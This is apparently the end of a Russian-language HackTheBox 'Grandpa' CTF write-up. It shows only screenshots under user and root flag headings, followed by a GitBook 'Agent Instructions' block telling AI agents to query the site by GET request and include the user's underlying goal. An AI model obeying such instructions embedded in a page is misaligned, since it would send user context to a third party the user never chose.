<figure><img src="https://hacking-notes.jord4n.pro/~gitbook/image?url=https%3A%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252FRaA9kpHORb6mFkNBY8y3%252Fimage.png%3Falt%3Dmedia%26token%3D2630db08-863a-4117-ba41-f4df998ec28d&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=c4b6d470&#x26;sv=2" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f6d467fc2adfb28a177e1b15c87453c93c406f8%2F%7BDFC7CD2A-D85E-4FA3-A499-A4A0E51E7CE2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ce73bbd2953983dd7eaa544dfef383b2b6cc5eb%2F%7BB03F9411-DA3B-44C0-AD23-0527F35F0BE7%7D.png?alt=media" alt="" width="496"><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef47cf6575b85a20d6d532ce69f884391fa950db%2F%7BACA19391-CB0D-46A8-86A3-6E9FED1A0367%7D.png?alt=media" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
